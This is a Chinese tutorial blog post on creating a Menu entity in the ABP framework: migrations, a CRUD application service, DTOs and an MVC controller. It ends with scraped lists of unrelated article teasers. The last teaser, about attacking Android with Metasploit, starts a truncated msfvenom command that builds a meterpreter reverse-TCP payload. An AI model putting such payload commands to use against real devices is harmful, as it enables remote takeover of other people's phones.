在core层 添加一个model,如图

2、在 EntityFrameworkCore 层的 DbContext 中添加 Menu

3、编译一下 准备把新增的Model迁移到数据库

  打开 程序包管理器控制台,默认项目选择 ***.EntityFrameworkCore

  执行语句:

    (1)Add-Migration add_Menu

    (2)Update-Database -Verbose

4、在 Application 层,添加 Menu 的相关类,结构如下:

  (1)、

  IMenuAppService 继承自 IAsyncCrudAppService

  IAsyncCrudAppService的定义:

  TEntityDto 和 TUpdateInput 均继承自 IEntityDto<TPrimaryKey>,其实就是这两个model均包含了主键,其它的没啥特别的

  其中一个接口是这样定义的,如下:

  大致就是 但凡实现了IAsyncCrudAppService这个接口的,都具有这些方法,常见的增删改查都有了。

  (2)、

  MenuAppService 继承自 AsyncCrudAppService

  AsyncCrudAppService 实现了 IAsyncCrudAppService 的相应方法

  继承 AsyncCrudAppService,除了给相应的参数外,还需要调用父类的构造函数,父类的构造函数如下:

  子类的调用方式:

  因为分类只有一个构造函数,并且还有参,所以只能这么调用了。

  对应调用父类构造函数这个事儿,自己可以简单测试一下,具体可以看文章:

    1、https://blog.csdn.net/Hellen0708/article/details/85268050

    2、https://zhidao.baidu.com/question/135452328.html

  简单测试:

  4个Dto类:

5、前端调用实现

  创建控制器,控制器 继承自 MyABPControllerBase

  MyABPControllerBase:定义在 MyABP.Web.Core 这个层,继承 AbpController

  AbpController:继承 Controller,定义了一些常用的属性 和 自动完成依赖的管理

  如果不继承 AbpController,而是直接继承 Controller 的话,会报错。

  报错内容:No component for supporting the service MyABP.Web.Mvc.Controllers.MenusController was found

  为什么只有继承 AbpController 才可以被访问,下次看了源码再补充了。

ABP 05 创建Model 以及 相应的增删改查的更多相关文章

  1. Django——6 模型基础ORM 数据库连接配置 模型的创建与映射 数据的增删改查

    Django Django的ORM简介 数据库连接配置 模型的创建与映射 数据库的增删改查 增数据 查数据及补充 改数据 删数据   Django的ORM系统分析 ORM概念:对象关系映射(Objec ...

  2. JQuery Easyui/TopJUI 用JS创建数据表格并实现增删改查功能

    JQuery Easyui/TopJUI 用JS创建数据表格并实现增删改查功能 html <table id="productDg"></table> &l ...

  3. magento中Model创建以及该Model对于数据库的增删改查

    本文是按照magento英文文档照做与翻译的. Model层的实现是mvc框架的一个巨大的部分.它代表了你的应用的数据,或者说大多数应用没有数据是无用的.Magento的Model扮演着一个重要的角色 ...

  4. ABP入门教程10 - 展示层实现增删改查-控制器

    点这里进入ABP入门教程目录 创建控制器 在展示层(即JD.CRS.Web.Mvc)的Controllers下新建一个控制器CourseController.cs using Abp.Applicat ...

  5. ABP入门教程11 - 展示层实现增删改查-视图

    点这里进入ABP入门教程目录 创建目录 在展示层(即JD.CRS.Web.Mvc)的Views下新建文件夹Course //用以存放Course相关视图 创建视图 在JD.CRS.Web.Mvc/Vi ...

  6. ABP实践(4)-abp前端vue框架之简单商品增删改查(帮助刚入门的新手快速了解怎么才能加入自己的功能并运行起来)

    提示:如有不明白的地方请先查看前3篇ABP实践系列的文章 1,下载及启动abp项目前后端分离(netcore+vue) 2,修改abp数据库为mysql 3,商品系列api接口(本文主要依赖在这个商品 ...

  7. ABP框架服务层的接口与实现(增删改查)

    public interface ITaskAppService : IApplicationService { IList<TaskDto> GetAllTasks();//所有 Get ...

  8. Django创建并连接数据库(实现增删改查)--第二版

    注意点一: url里面的地址,不只是html页面,准确说是views视图里面对应的函数方法 <!DOCTYPE html> <html lang="en"> ...

  9. Django创建并连接数据库(实现增删改查)--ORM框架雏形

    第一步:要先创建数据库(orm是不能创建数据库的) 第二步:settings里面指定连接到哪个数据库 DATABASES = { #默认使用的是sqlite3数据库 'default': { 'ENG ...

随机推荐

  1. Ubuntu安装MySQL配置远程登录、utf8mb4字符集

    2019/11/19, Ubuntu Server 18.04,MySQL 5.7 摘要:Ubuntu Server 18.04 安装MySQL 5.7 并配置远程登录.utf8mb4字符集 由于My ...

  2. 一张图看懂SharpBarcode

    通过下面的图片,可以瞬间看懂整个SharpBarcode类库的脉络.

  3. 递归-求n和n以前的自然数

    #include <iostream> using namespace std; void zrs(int n)//用递归求自然数(n和它之前) { ) { cout<<< ...

  4. Java 之 线程的生命周期(线程状态)

    一.线程的生命周期 (1)新建状态 new 好了一个线程对象,此时和普通的 Java对象并没有区别. (2)就绪 就绪状态的线程是具备被CPU调用的能力和状态,也只有这个状态的线程才能被CPU调用.即 ...

  5. 冬虫夏草winterwormsummerherb英语

    “中药之王”--冬虫夏草WinterwormSummerherb King of Chinese medicine --WinterwormSummerherb “冬天是虫,夏天是草,冬虫夏草是个宝. ...

  6. Java JDBC结果集的处理

    结果集指针的移动 while (resultSet.next()){ //...... } 指针最初指向第一条记录之前,next()是指向下一个位置,返回的是boolean值,true表示有内容(记录 ...

  7. Linux命令passwd

    passwd 简单说明:passwd命令的用法也很多,我们只选如下的几个参数加以说明:想了解更多,请参考man passwd或passwd --help :passwd [OPTION...] pas ...

  8. freebsd缓存包与仓库版本不一致

    问题描述: pkg install -y lrzsz pkg: cached package lrzsz-0.12.20_4: size mismatch, cannot continue 问题解决: ...

  9. OSX 优化配置

    修改用户名 sudo hostname macbookpro sudo scutil --set HostName macbookpro sudo scutil --set LocalHostName ...

  10. 利用Metasploit攻击Android

    首先我在Kali下生成一个Android的应用程序,即apk格式的文件,用到的命令是: msfvenom -p android/meterpreter/reverse_tcp LHOST=本地ip L ...